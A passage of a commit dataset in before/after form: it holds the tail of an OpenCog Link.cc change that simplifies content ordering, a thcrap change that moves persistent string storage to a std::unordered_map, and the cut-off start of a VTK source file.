without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with this program; if not, write to:\n * Free Software Foundation, Inc.,\n * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.\n *\/\n\n#include <stdio.h>\n\n#include <opencog\/util\/exceptions.h>\n#include <opencog\/util\/Logger.h>\n\n#include <opencog\/atoms\/base\/ClassServer.h>\n#include <opencog\/atoms\/base\/Node.h>\n#include <opencog\/atomspace\/AtomTable.h>\n\n#include <boost\/range\/algorithm.hpp>\n\n#include \"Link.h\"\n\n\/\/#define DPRINTF printf\n#define DPRINTF(...)\n\nusing namespace opencog;\n\nvoid Link::resort(void)\n{\n \/\/ Caution: this comparison function MUST BE EXACTLY THE SAME as\n \/\/ the one in AtomTable.cc, used for Unordered links. Changing\n \/\/ this without changing the other one will break things!\n std::sort(_outgoing.begin(), _outgoing.end(), handle_less());\n}\n\nvoid Link::init(const HandleSeq& outgoingVector)\n{\n if (not classserver().isA(_type, LINK)) {\n throw InvalidParamException(TRACE_INFO,\n \"Link ctor: Atom type is not a Link: '%d' %s.\",\n _type, classserver().getTypeName(_type).c_str());\n }\n\n _outgoing = outgoingVector;\n \/\/ If the link is unordered, it will be normalized by sorting the\n \/\/ elements in the outgoing list.\n if (classserver().isA(_type, UNORDERED_LINK)) {\n resort();\n }\n}\n\nLink::~Link()\n{\n DPRINTF(\"Deleting link:\\n%s\\n\", this->toString().c_str());\n}\n\nstd::string Link::toShortString(const std::string& indent) const\n{\n std::stringstream answer;\n std::string more_indent = indent + \" \";\n\n answer << indent << \"(\" << classserver().getTypeName(_type);\n if (not getTruthValue()->isDefaultTV())\n answer << \" \" << getTruthValue()->toString();\n answer << \"\\n\";\n\n \/\/ Here the target string is made. If a target is a node, its name is\n \/\/ concatenated. If it's a link, all its properties are concatenated.\n for (const Handle& h : _outgoing) {\n if (h.operator->() != NULL)\n answer << h->toShortString(more_indent);\n else\n answer << more_indent << \"Undefined Atom!\\n\";\n }\n\n answer << indent << \") ; [\" << _uuid << \"]\";\n\n if (_atomTable)\n answer << \"[\" << _atomTable->get_uuid() << \"]\\n\";\n else\n answer << \"[NULL]\\n\";\n\n return answer.str();\n}\n\nstd::string Link::toString(const std::string& indent) const\n{\n std::string answer = indent;\n std::string more_indent = indent + \" \";\n\n answer += \"(\" + classserver().getTypeName(_type);\n\n \/\/ Print the TV and AV only if its not the default.\n if (not getAttentionValue()->isDefaultAV())\n answer += \" (av \" +\n std::to_string(getAttentionValue()->getSTI()) + \" \" +\n std::to_string(getAttentionValue()->getLTI()) + \" \" +\n std::to_string(getAttentionValue()->getVLTI()) + \")\";\n\n if (not getTruthValue()->isDefaultTV())\n answer += \" \" + getTruthValue()->toString();\n\n answer += \"\\n\";\n \/\/ Here, the outset string is made. If a target is a node,\n \/\/ its name is concatenated. If it's a link, then recurse.\n for (const Handle& h : _outgoing) {\n if (h.operator->() != NULL)\n answer += h->toString(more_indent);\n else\n answer += more_indent + \"Undefined Atom!\\n\";\n }\n\n answer += indent + \") ; [\" +\n std::to_string(_uuid) + \"][\" +\n std::to_string(_atomTable? _atomTable->get_uuid() : -1) +\n \"]\\n\";\n\n return answer;\n}\n\n\/\/ Content-based comparison.\nbool Link::operator==(const Atom& other) const\n{\n \/\/ If other points to this, then have equality.\n if (this == &other) return true;\n\n \/\/ Rule out obvious mis-matches, based on the hash.\n if (get_hash() != other.get_hash()) return false;\n if (getType() != other.getType()) return false;\n\n Arity sz = getArity();\n if (sz != other.getArity()) return false;\n\n \/\/ Perform a content-compare on the outgoing set.\n const HandleSeq& rhs = other.getOutgoingSet();\n for (Arity i = 0; i < sz; i++)\n {\n if (*((AtomPtr)_outgoing[i]) != *((AtomPtr)rhs[i]))\n return false;\n }\n return true;\n}\n\n\/\/ Content-based ordering.\nbool Link::operator<(const Atom& other) const\n{\n if (get_hash() < other.get_hash()) return true;\n if (other.get_hash() < get_hash()) return false;\n\n \/\/ We get to here only if the hashes are equal.\n \/\/ Compare the contents directly, for this\n \/\/ (hopefully rare) case.\n if (getType() == other.getType()) {\n const HandleSeq& outgoing = getOutgoingSet();\n const HandleSeq& other_outgoing = other.getOutgoingSet();\n Arity arity = outgoing.size();\n Arity other_arity = other_outgoing.size();\n if (arity == other_arity) {\n Arity i = 0;\n while (i < arity) {\n Handle ll = outgoing[i];\n Handle rl = other_outgoing[i];\n if (ll == rl)\n i++;\n else\n return ll->operator<(*rl.atom_ptr());\n }\n return false;\n } else\n return arity < other_arity;\n } else\n return getType() < other.getType();\n}\n\n\/\/\/ Returns a Merkle tree hash -- that is, the hash of this link\n\/\/\/ chains the hash values of the child atoms, as well.\nContentHash Link::compute_hash() const\n{\n\t\/\/ djb hash\n\tContentHash hsh = 5381;\n\thsh += (hsh <<5) + getType();\n\n\tfor (const Handle& h: _outgoing)\n\t{\n\t\thsh += (hsh <<5) + h->get_hash(); \/\/ recursive!\n\t}\n\n\t\/\/ Links will always have the MSB set.\n\tContentHash mask = ((ContentHash) 1UL) << (8*sizeof(ContentHash) - 1);\n\thsh |= mask;\n\n\tif (Handle::INVALID_HASH == hsh) hsh -= 1;\n\t_content_hash = hsh;\n\treturn _content_hash;\n}\n<commit_msg>Simplify the content-ordering function.<commit_after>\/*\n * opencog\/atoms\/base\/Link.cc\n *\n * Copyright (C) 2008-2010 OpenCog Foundation\n * Copyright (C) 2002-2007 Novamente LLC\n * All Rights Reserved\n *\n * This program is free software; you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License v3 as\n * published by the Free Software Foundation and including the exceptions\n * at http:\/\/opencog.org\/wiki\/Licenses\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with this program; if not, write to:\n * Free Software Foundation, Inc.,\n * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.\n *\/\n\n#include <stdio.h>\n\n#include <opencog\/util\/exceptions.h>\n#include <opencog\/util\/Logger.h>\n\n#include <opencog\/atoms\/base\/ClassServer.h>\n#include <opencog\/atoms\/base\/Node.h>\n#include <opencog\/atomspace\/AtomTable.h>\n\n#include <boost\/range\/algorithm.hpp>\n\n#include \"Link.h\"\n\n\/\/#define DPRINTF printf\n#define DPRINTF(...)\n\nusing namespace opencog;\n\nvoid Link::resort(void)\n{\n \/\/ Caution: this comparison function MUST BE EXACTLY THE SAME as\n \/\/ the one in AtomTable.cc, used for Unordered links. Changing\n \/\/ this without changing the other one will break things!\n std::sort(_outgoing.begin(), _outgoing.end(), handle_less());\n}\n\nvoid Link::init(const HandleSeq& outgoingVector)\n{\n if (not classserver().isA(_type, LINK)) {\n throw InvalidParamException(TRACE_INFO,\n \"Link ctor: Atom type is not a Link: '%d' %s.\",\n _type, classserver().getTypeName(_type).c_str());\n }\n\n _outgoing = outgoingVector;\n \/\/ If the link is unordered, it will be normalized by sorting the\n \/\/ elements in the outgoing list.\n if (classserver().isA(_type, UNORDERED_LINK)) {\n resort();\n }\n}\n\nLink::~Link()\n{\n DPRINTF(\"Deleting link:\\n%s\\n\", this->toString().c_str());\n}\n\nstd::string Link::toShortString(const std::string& indent) const\n{\n std::stringstream answer;\n std::string more_indent = indent + \" \";\n\n answer << indent << \"(\" << classserver().getTypeName(_type);\n if (not getTruthValue()->isDefaultTV())\n answer << \" \" << getTruthValue()->toString();\n answer << \"\\n\";\n\n \/\/ Here the target string is made. If a target is a node, its name is\n \/\/ concatenated. If it's a link, all its properties are concatenated.\n for (const Handle& h : _outgoing) {\n if (h.operator->() != NULL)\n answer << h->toShortString(more_indent);\n else\n answer << more_indent << \"Undefined Atom!\\n\";\n }\n\n answer << indent << \") ; [\" << _uuid << \"]\";\n\n if (_atomTable)\n answer << \"[\" << _atomTable->get_uuid() << \"]\\n\";\n else\n answer << \"[NULL]\\n\";\n\n return answer.str();\n}\n\nstd::string Link::toString(const std::string& indent) const\n{\n std::string answer = indent;\n std::string more_indent = indent + \" \";\n\n answer += \"(\" + classserver().getTypeName(_type);\n\n \/\/ Print the TV and AV only if its not the default.\n if (not getAttentionValue()->isDefaultAV())\n answer += \" (av \" +\n std::to_string(getAttentionValue()->getSTI()) + \" \" +\n std::to_string(getAttentionValue()->getLTI()) + \" \" +\n std::to_string(getAttentionValue()->getVLTI()) + \")\";\n\n if (not getTruthValue()->isDefaultTV())\n answer += \" \" + getTruthValue()->toString();\n\n answer += \"\\n\";\n \/\/ Here, the outset string is made. If a target is a node,\n \/\/ its name is concatenated. If it's a link, then recurse.\n for (const Handle& h : _outgoing) {\n if (h.operator->() != NULL)\n answer += h->toString(more_indent);\n else\n answer += more_indent + \"Undefined Atom!\\n\";\n }\n\n answer += indent + \") ; [\" +\n std::to_string(_uuid) + \"][\" +\n std::to_string(_atomTable? _atomTable->get_uuid() : -1) +\n \"]\\n\";\n\n return answer;\n}\n\n\/\/ Content-based comparison.\nbool Link::operator==(const Atom& other) const\n{\n \/\/ If other points to this, then have equality.\n if (this == &other) return true;\n\n \/\/ Rule out obvious mis-matches, based on the hash.\n if (get_hash() != other.get_hash()) return false;\n if (getType() != other.getType()) return false;\n\n Arity sz = getArity();\n if (sz != other.getArity()) return false;\n\n \/\/ Perform a content-compare on the outgoing set.\n const HandleSeq& rhs = other.getOutgoingSet();\n for (Arity i = 0; i < sz; i++)\n {\n if (*((AtomPtr)_outgoing[i]) != *((AtomPtr)rhs[i]))\n return false;\n }\n return true;\n}\n\n\/\/ Content-based ordering.\nbool Link::operator<(const Atom& other) const\n{\n if (get_hash() < other.get_hash()) return true;\n if (other.get_hash() < get_hash()) return false;\n\n \/\/ We get to here only if the hashes are equal.\n \/\/ Compare the contents directly, for this\n \/\/ (hopefully rare) case.\n if (getType() != other.getType())\n return getType() < other.getType();\n\n const HandleSeq& outgoing = getOutgoingSet();\n const HandleSeq& other_outgoing = other.getOutgoingSet();\n Arity arity = outgoing.size();\n Arity other_arity = other_outgoing.size();\n if (arity != other_arity)\n return arity < other_arity;\n\n for (Arity i=0; i < arity; i++)\n {\n const Handle& ll(outgoing[i]);\n const AtomPtr& rl(other_outgoing[i]);\n if (ll->operator!=(*rl))\n return ll->operator<(*rl);\n }\n return false;\n}\n\n\/\/\/ Returns a Merkle tree hash -- that is, the hash of this link\n\/\/\/ chains the hash values of the child atoms, as well.\nContentHash Link::compute_hash() const\n{\n\t\/\/ djb hash\n\tContentHash hsh = 5381;\n\thsh += (hsh <<5) + getType();\n\n\tfor (const Handle& h: _outgoing)\n\t{\n\t\thsh += (hsh <<5) + h->get_hash(); \/\/ recursive!\n\t}\n\n\t\/\/ Links will always have the MSB set.\n\tContentHash mask = ((ContentHash) 1UL) << (8*sizeof(ContentHash) - 1);\n\thsh |= mask;\n\n\tif (Handle::INVALID_HASH == hsh) hsh -= 1;\n\t_content_hash = hsh;\n\treturn _content_hash;\n}\n<|endoftext|>"} {"text":"<commit_before>\/**\n * Touhou Community Reliant Automatic Patcher\n * Main DLL\n *\n * ----\n *\n * Persistent string storage, and translation of hardcoded strings.\n *\/\n\n#include \"thcrap.h\"\n#include <unordered_map>\n\n\/\/\/ Detour chains\n\/\/\/ -------------\nW32U8_DETOUR_CHAIN_DEF(MessageBox);\n\/\/\/ -------------\n\n\/\/ Length-prefixed string object used for persistent storage\ntypedef struct {\n\tsize_t len;\n\tchar str;\n} storage_string_t;\n\nstatic json_t *strings_storage = NULL;\n\nSRWLOCK stringlocs_srwlock = {SRWLOCK_INIT};\nstd::unordered_map<const char *, const char *> stringlocs;\n\n#define addr_key_len 2 + (sizeof(void*) * 2) + 1\n\nvoid stringlocs_reparse(void)\n{\n\t\/\/ Since we can't use the jsondata module to make this repatchable,\n\t\/\/ we only need to keep the last parsed JSON object around to\n\t\/\/ provide the \"backing memory\" for the ID strings.\n\tstatic json_t *backing_obj = NULL;\n\n\tjson_t* new_obj = stack_game_json_resolve(\"stringlocs.js\", NULL);\n\tconst char *key;\n\tconst json_t *val;\n\n\tAcquireSRWLockExclusive(&stringlocs_srwlock);\n\tstringlocs.clear();\n\n\tjson_object_foreach(new_obj, key, val) {\n\t\t\/\/ TODO: For now, we're nagging developers with one message box for\n\t\t\/\/ every single parse error. It'd certainly be better if we gathered\n\t\t\/\/ all errors into a single message box to be printed at the end of\n\t\t\/\/ the parsing, and even had a somewhat generic solution if we do\n\t\t\/\/ more of these conversions.\n#define stringlocs_log_error(msg) \\\n\tlog_mboxf(NULL, MB_OK | MB_ICONEXCLAMATION, \\\n\t\t\"Error parsing stringlocs.js: \\\"%s\\\" \" msg\".\", key, sizeof(size_t) * 8 \\\n\t)\n\n\t\tif(!json_is_string(val)) {\n\t\t\tstringlocs_log_error(\"must be a JSON string\");\n\t\t\tcontinue;\n\t\t}\n\t\tuint8_t error;\n\t\tconst char *addr = (const char *)str_address_value(key, &error);\n\t\tif(error == STR_ADDRESS_ERROR_NONE) {\n\t\t\tstringlocs[addr] = json_string_value(val);\n\t\t}\n\t\tif(error & STR_ADDRESS_ERROR_OVERFLOW) {\n\t\t\tstringlocs_log_error(\"exceeds %d bits\");\n\t\t}\n\t\tif(error & STR_ADDRESS_ERROR_GARBAGE) {\n\t\t\tstringlocs_log_error(\"has garbage at the end\");\n\t\t}\n#undef stringlocs_log_error\n\t}\n\n\tjson_decref(backing_obj);\n\tbacking_obj = new_obj;\n\n\tReleaseSRWLockExclusive(&stringlocs_srwlock);\n}\n\nconst json_t* strings_get(const char *id)\n{\n\treturn json_object_get(jsondata_get(\"stringdefs.js\"), id);\n}\n\nconst char* strings_lookup(const char *in, size_t *out_len)\n{\n\tconst char *ret = in;\n\n\tif(!in) {\n\t\treturn in;\n\t}\n\n\tAcquireSRWLockShared(&stringlocs_srwlock);\n\tauto id_key = stringlocs.find(in);\n\tif(id_key != stringlocs.end()) {\n\t\tconst char *new_str = json_string_value(strings_get(id_key->second));\n\t\tif(new_str && new_str[0]) {\n\t\t\tret = new_str;\n\t\t}\n\t}\n\tReleaseSRWLockShared(&stringlocs_srwlock);\n\n\tif(out_len) {\n\t\t*out_len = strlen(ret) + 1;\n\t}\n\treturn ret;\n}\n\nvoid strings_va_lookup(va_list va, const char *format)\n{\n\tconst char *p = format;\n\twhile(*p) {\n\t\tprintf_format_t fmt;\n\t\tint i;\n\n\t\t\/\/ Skip characters before '%'\n\t\tfor(; *p && *p != '%'; p++);\n\t\tif(!*p) {\n\t\t\tbreak;\n\t\t}\n\t\t\/\/ *p == '%' here\n\t\tp++;\n\n\t\t\/\/ output a single '%' character\n\t\tif(*p == '%') {\n\t\t\tp++;\n\t\t\tcontinue;\n\t\t}\n\t\tp = printf_format_parse(&fmt, p);\n\t\tfor(i = 0; i < fmt.argc_before_type; i++) {\n\t\t\tva_arg(va, int);\n\t\t}\n\t\tif(fmt.type == 's' || fmt.type == 'S') {\n\t\t\t*(const char**)va = strings_lookup(*(const char**)va, NULL);\n\t\t}\n\t\tfor(i = 0; i < fmt.type_size_in_ints; i++) {\n\t\t\tva_arg(va, int);\n\t\t}\n\t}\n}\n\nchar* strings_storage_get(const size_t slot, size_t min_len)\n{\n\tstorage_string_t *ret = NULL;\n\tchar addr_key[addr_key_len];\n\n\titoa(slot, addr_key, 16);\n\tret = (storage_string_t*)json_object_get_hex(strings_storage, addr_key);\n\n\t\/\/ MSVCRT's realloc implementation moves the buffer every time, even if the\n\t\/\/ new length is shorter...\n\tif(!ret || (min_len && ret->len < min_len)) {\n\t\tstorage_string_t *ret_new = (storage_string_t*)realloc(ret, min_len + sizeof(storage_string_t));\n\t\t\/\/ Yes, this correctly handles a realloc failure.\n\t\tif(ret_new) {\n\t\t\tret_new->len = min_len;\n\t\t\tif(!ret) {\n\t\t\t\tret_new->str = 0;\n\t\t\t}\n\t\t\tjson_object_set_new(strings_storage, addr_key, json_integer((size_t)ret_new));\n\t\t\tret = ret_new;\n\t\t}\n\t}\n\tif(ret) {\n\t\treturn &ret->str;\n\t}\n\treturn NULL;\n}\n\nconst char* strings_vsprintf(const size_t slot, const char *format, va_list va)\n{\n\tchar *ret = NULL;\n\tsize_t str_len;\n\n\tformat = strings_lookup(format, NULL);\n\tstrings_va_lookup(va, format);\n\n\tif(!format) {\n\t\treturn NULL;\n\t}\n\tstr_len = _vscprintf(format, va) + 1;\n\n\tret = strings_storage_get(slot, str_len);\n\tif(ret) {\n\t\tvsprintf(ret, format, va);\n\t\treturn ret;\n\t}\n\t\/\/ Try to save the situation at least somewhat...\n\treturn format;\n}\n\nconst char* strings_vsprintf_msvcrt14(const char *format, const size_t slot, va_list va)\n{\n\treturn strings_vsprintf(slot, format, va);\n}\n\nconst char* strings_sprintf(const size_t slot, const char *format, ...)\n{\n\tva_list va;\n\tconst char *ret;\n\tva_start(va, format);\n\tret = strings_vsprintf(slot, format, va);\n\treturn ret;\n}\n\nconst char* strings_strclr(const size_t slot)\n{\n\tchar *ret = strings_storage_get(slot, 0);\n\tif(ret) {\n\t\tret[0] = 0;\n\t}\n\treturn ret;\n}\n\nconst char* strings_strcat(const size_t slot, const char *src)\n{\n\tchar *ret = strings_storage_get(slot, 0);\n\tsize_t ret_len = strlen(ret);\n\tsize_t src_len;\n\n\tsrc = strings_lookup(src, &src_len);\n\n\tret = strings_storage_get(slot, ret_len + src_len);\n\tif(ret) {\n\t\tstrncpy(ret + ret_len, src, src_len);\n\t\treturn ret;\n\t}\n\t\/\/ Try to save the situation at least somewhat...\n\treturn src;\n}\n\nconst char* strings_replace(const size_t slot, const char *src, const char *dst)\n{\n\tchar *ret = strings_storage_get(slot, 0);\n\tdst = dst ? dst : \"\";\n\tif(src && ret) {\n\t\tsize_t src_len = strlen(src);\n\t\tsize_t dst_len = strlen(dst);\n\t\twhile(ret) {\n\t\t\tchar *src_pos = NULL;\n\t\t\tchar *copy_pos = NULL;\n\t\t\tchar *rest_pos = NULL;\n\t\t\tsize_t ret_len = strlen(ret);\n\t\t\t\/\/ We do this first since the string address might change after\n\t\t\t\/\/ reallocation, thus invalidating the strstr() result\n\t\t\tret = strings_storage_get(slot, ret_len + dst_len);\n\t\t\tif(!ret) {\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tsrc_pos = strstr(ret, src);\n\t\t\tif(!src_pos) {\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tcopy_pos = src_pos + dst_len;\n\t\t\trest_pos = src_pos + src_len;\n\t\t\tmemmove(copy_pos, rest_pos, strlen(rest_pos) + 1);\n\t\t\tmemcpy(src_pos, dst, dst_len);\n\t\t}\n\t}\n\t\/\/ Try to save the situation at least somewhat...\n\treturn ret ? ret : dst;\n}\n\n\/\/\/ String lookup hooks\n\/\/\/ -------------------\nint WINAPI strings_MessageBoxA(\n\tHWND hWnd,\n\tLPCSTR lpText,\n\tLPCSTR lpCaption,\n\tUINT uType\n)\n{\n\tlpText = strings_lookup(lpText, NULL);\n\tlpCaption = strings_lookup(lpCaption, NULL);\n\treturn chain_MessageBoxU(hWnd, lpText, lpCaption, uType);\n}\n\/\/\/ -------------------\n\nvoid strings_mod_init(void)\n{\n\tjsondata_add(\"stringdefs.js\");\n\tstringlocs_reparse();\n\tstrings_storage = json_object();\n}\n\nvoid strings_mod_detour(void)\n{\n\tdetour_chain(\"user32.dll\", 1,\n\t\t\"MessageBoxA\", strings_MessageBoxA, &chain_MessageBoxU,\n\t\tNULL\n\t);\n}\n\nvoid strings_mod_repatch(json_t *files_changed)\n{\n\tconst char *key;\n\tconst json_t *val;\n\tjson_object_foreach(files_changed, key, val) {\n\t\tif(strstr(key, \"\/stringlocs.\")) {\n\t\t\tstringlocs_reparse();\n\t\t}\n\t}\n}\n\nvoid strings_mod_exit(void)\n{\n\tconst char *key;\n\tjson_t *val;\n\n\tjson_object_foreach(strings_storage, key, val) {\n\t\tstorage_string_t *p = (storage_string_t*)json_hex_value(val);\n\t\tSAFE_FREE(p);\n\t}\n\tstrings_storage = json_decref_safe(strings_storage);\n}\n<commit_msg>Use a std::unordered_map for persistent storage strings.<commit_after>\/**\n * Touhou Community Reliant Automatic Patcher\n * Main DLL\n *\n * ----\n *\n * Persistent string storage, and translation of hardcoded strings.\n *\/\n\n#include \"thcrap.h\"\n#include <unordered_map>\n\n\/\/\/ Detour chains\n\/\/\/ -------------\nW32U8_DETOUR_CHAIN_DEF(MessageBox);\n\/\/\/ -------------\n\n\/\/ Length-prefixed string object used for persistent storage\ntypedef struct {\n\tsize_t len;\n\tchar str;\n} storage_string_t;\n\nstd::unordered_map<size_t, storage_string_t *> strings_storage;\n\nSRWLOCK stringlocs_srwlock = {SRWLOCK_INIT};\nstd::unordered_map<const char *, const char *> stringlocs;\n\n#define addr_key_len 2 + (sizeof(void*) * 2) + 1\n\nvoid stringlocs_reparse(void)\n{\n\t\/\/ Since we can't use the jsondata module to make this repatchable,\n\t\/\/ we only need to keep the last parsed JSON object around to\n\t\/\/ provide the \"backing memory\" for the ID strings.\n\tstatic json_t *backing_obj = NULL;\n\n\tjson_t* new_obj = stack_game_json_resolve(\"stringlocs.js\", NULL);\n\tconst char *key;\n\tconst json_t *val;\n\n\tAcquireSRWLockExclusive(&stringlocs_srwlock);\n\tstringlocs.clear();\n\n\tjson_object_foreach(new_obj, key, val) {\n\t\t\/\/ TODO: For now, we're nagging developers with one message box for\n\t\t\/\/ every single parse error. It'd certainly be better if we gathered\n\t\t\/\/ all errors into a single message box to be printed at the end of\n\t\t\/\/ the parsing, and even had a somewhat generic solution if we do\n\t\t\/\/ more of these conversions.\n#define stringlocs_log_error(msg) \\\n\tlog_mboxf(NULL, MB_OK | MB_ICONEXCLAMATION, \\\n\t\t\"Error parsing stringlocs.js: \\\"%s\\\" \" msg\".\", key, sizeof(size_t) * 8 \\\n\t)\n\n\t\tif(!json_is_string(val)) {\n\t\t\tstringlocs_log_error(\"must be a JSON string\");\n\t\t\tcontinue;\n\t\t}\n\t\tuint8_t error;\n\t\tconst char *addr = (const char *)str_address_value(key, &error);\n\t\tif(error == STR_ADDRESS_ERROR_NONE) {\n\t\t\tstringlocs[addr] = json_string_value(val);\n\t\t}\n\t\tif(error & STR_ADDRESS_ERROR_OVERFLOW) {\n\t\t\tstringlocs_log_error(\"exceeds %d bits\");\n\t\t}\n\t\tif(error & STR_ADDRESS_ERROR_GARBAGE) {\n\t\t\tstringlocs_log_error(\"has garbage at the end\");\n\t\t}\n#undef stringlocs_log_error\n\t}\n\n\tjson_decref(backing_obj);\n\tbacking_obj = new_obj;\n\n\tReleaseSRWLockExclusive(&stringlocs_srwlock);\n}\n\nconst json_t* strings_get(const char *id)\n{\n\treturn json_object_get(jsondata_get(\"stringdefs.js\"), id);\n}\n\nconst char* strings_lookup(const char *in, size_t *out_len)\n{\n\tconst char *ret = in;\n\n\tif(!in) {\n\t\treturn in;\n\t}\n\n\tAcquireSRWLockShared(&stringlocs_srwlock);\n\tauto id_key = stringlocs.find(in);\n\tif(id_key != stringlocs.end()) {\n\t\tconst char *new_str = json_string_value(strings_get(id_key->second));\n\t\tif(new_str && new_str[0]) {\n\t\t\tret = new_str;\n\t\t}\n\t}\n\tReleaseSRWLockShared(&stringlocs_srwlock);\n\n\tif(out_len) {\n\t\t*out_len = strlen(ret) + 1;\n\t}\n\treturn ret;\n}\n\nvoid strings_va_lookup(va_list va, const char *format)\n{\n\tconst char *p = format;\n\twhile(*p) {\n\t\tprintf_format_t fmt;\n\t\tint i;\n\n\t\t\/\/ Skip characters before '%'\n\t\tfor(; *p && *p != '%'; p++);\n\t\tif(!*p) {\n\t\t\tbreak;\n\t\t}\n\t\t\/\/ *p == '%' here\n\t\tp++;\n\n\t\t\/\/ output a single '%' character\n\t\tif(*p == '%') {\n\t\t\tp++;\n\t\t\tcontinue;\n\t\t}\n\t\tp = printf_format_parse(&fmt, p);\n\t\tfor(i = 0; i < fmt.argc_before_type; i++) {\n\t\t\tva_arg(va, int);\n\t\t}\n\t\tif(fmt.type == 's' || fmt.type == 'S') {\n\t\t\t*(const char**)va = strings_lookup(*(const char**)va, NULL);\n\t\t}\n\t\tfor(i = 0; i < fmt.type_size_in_ints; i++) {\n\t\t\tva_arg(va, int);\n\t\t}\n\t}\n}\n\nchar* strings_storage_get(const size_t slot, size_t min_len)\n{\n\tstorage_string_t *ret = nullptr;\n\tauto stored = strings_storage.find(slot);\n\n\t\/\/ MSVCRT's realloc implementation moves the buffer every time, even if the\n\t\/\/ new length is shorter...\n\tif(stored == strings_storage.end() || (min_len && stored->second->len < min_len)) {\n\t\tauto *ret_new = (storage_string_t*)realloc(ret, min_len + sizeof(storage_string_t));\n\t\t\/\/ Yes, this correctly handles a realloc failure.\n\t\tif(ret_new) {\n\t\t\tret_new->len = min_len;\n\t\t\tif(!ret) {\n\t\t\t\tret_new->str = 0;\n\t\t\t}\n\t\t\tstrings_storage[slot] = ret_new;\n\t\t\tret = ret_new;\n\t\t}\n\t} else {\n\t\tret = stored->second;\n\t}\n\tif(ret) {\n\t\treturn &ret->str;\n\t}\n\treturn nullptr;\n}\n\nconst char* strings_vsprintf(const size_t slot, const char *format, va_list va)\n{\n\tchar *ret = NULL;\n\tsize_t str_len;\n\n\tformat = strings_lookup(format, NULL);\n\tstrings_va_lookup(va, format);\n\n\tif(!format) {\n\t\treturn NULL;\n\t}\n\tstr_len = _vscprintf(format, va) + 1;\n\n\tret = strings_storage_get(slot, str_len);\n\tif(ret) {\n\t\tvsprintf(ret, format, va);\n\t\treturn ret;\n\t}\n\t\/\/ Try to save the situation at least somewhat...\n\treturn format;\n}\n\nconst char* strings_vsprintf_msvcrt14(const char *format, const size_t slot, va_list va)\n{\n\treturn strings_vsprintf(slot, format, va);\n}\n\nconst char* strings_sprintf(const size_t slot, const char *format, ...)\n{\n\tva_list va;\n\tconst char *ret;\n\tva_start(va, format);\n\tret = strings_vsprintf(slot, format, va);\n\treturn ret;\n}\n\nconst char* strings_strclr(const size_t slot)\n{\n\tchar *ret = strings_storage_get(slot, 0);\n\tif(ret) {\n\t\tret[0] = 0;\n\t}\n\treturn ret;\n}\n\nconst char* strings_strcat(const size_t slot, const char *src)\n{\n\tchar *ret = strings_storage_get(slot, 0);\n\tsize_t ret_len = strlen(ret);\n\tsize_t src_len;\n\n\tsrc = strings_lookup(src, &src_len);\n\n\tret = strings_storage_get(slot, ret_len + src_len);\n\tif(ret) {\n\t\tstrncpy(ret + ret_len, src, src_len);\n\t\treturn ret;\n\t}\n\t\/\/ Try to save the situation at least somewhat...\n\treturn src;\n}\n\nconst char* strings_replace(const size_t slot, const char *src, const char *dst)\n{\n\tchar *ret = strings_storage_get(slot, 0);\n\tdst = dst ? dst : \"\";\n\tif(src && ret) {\n\t\tsize_t src_len = strlen(src);\n\t\tsize_t dst_len = strlen(dst);\n\t\twhile(ret) {\n\t\t\tchar *src_pos = NULL;\n\t\t\tchar *copy_pos = NULL;\n\t\t\tchar *rest_pos = NULL;\n\t\t\tsize_t ret_len = strlen(ret);\n\t\t\t\/\/ We do this first since the string address might change after\n\t\t\t\/\/ reallocation, thus invalidating the strstr() result\n\t\t\tret = strings_storage_get(slot, ret_len + dst_len);\n\t\t\tif(!ret) {\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tsrc_pos = strstr(ret, src);\n\t\t\tif(!src_pos) {\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tcopy_pos = src_pos + dst_len;\n\t\t\trest_pos = src_pos + src_len;\n\t\t\tmemmove(copy_pos, rest_pos, strlen(rest_pos) + 1);\n\t\t\tmemcpy(src_pos, dst, dst_len);\n\t\t}\n\t}\n\t\/\/ Try to save the situation at least somewhat...\n\treturn ret ? ret : dst;\n}\n\n\/\/\/ String lookup hooks\n\/\/\/ -------------------\nint WINAPI strings_MessageBoxA(\n\tHWND hWnd,\n\tLPCSTR lpText,\n\tLPCSTR lpCaption,\n\tUINT uType\n)\n{\n\tlpText = strings_lookup(lpText, NULL);\n\tlpCaption = strings_lookup(lpCaption, NULL);\n\treturn chain_MessageBoxU(hWnd, lpText, lpCaption, uType);\n}\n\/\/\/ -------------------\n\nvoid strings_mod_init(void)\n{\n\tjsondata_add(\"stringdefs.js\");\n\tstringlocs_reparse();\n}\n\nvoid strings_mod_detour(void)\n{\n\tdetour_chain(\"user32.dll\", 1,\n\t\t\"MessageBoxA\", strings_MessageBoxA, &chain_MessageBoxU,\n\t\tNULL\n\t);\n}\n\nvoid strings_mod_repatch(json_t *files_changed)\n{\n\tconst char *key;\n\tconst json_t *val;\n\tjson_object_foreach(files_changed, key, val) {\n\t\tif(strstr(key, \"\/stringlocs.\")) {\n\t\t\tstringlocs_reparse();\n\t\t}\n\t}\n}\n\nvoid strings_mod_exit(void)\n{\n\tfor(auto& i : strings_storage) {\n\t\tSAFE_FREE(i.second);\n\t}\n\tstrings_storage.clear();\n}\n<|endoftext|>"} {"text":"<commit_before>\/*=========================================================================\n\n Program: Visualization Toolkit\n Module: vtkExtractSelectedGraph.cxx\n\n Copyright (c) Ken Martin, Will Schroeder, Bill Lorensen\n All rights reserved.\n See Copyright.txt or http:\/\/www.kitware.com\/Copyright.htm for details.\n\n This software is distributed WITHOUT ANY WARRANTY; without even\n the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\n PURPOSE. See the above copyright notice for more information.\n\n=========================================================================*\/\n\/*----------------------------------------------------------------------------\n Copyright (c) Sandia Corporation\n See Copyright.txt or http:\/\/www.paraview.org\/HTML\/Copyright.html for details.\n----------------------------------------------------------------------------*\/\n\n#include \"vtkExtractSelectedGraph.h\"\n\n#include 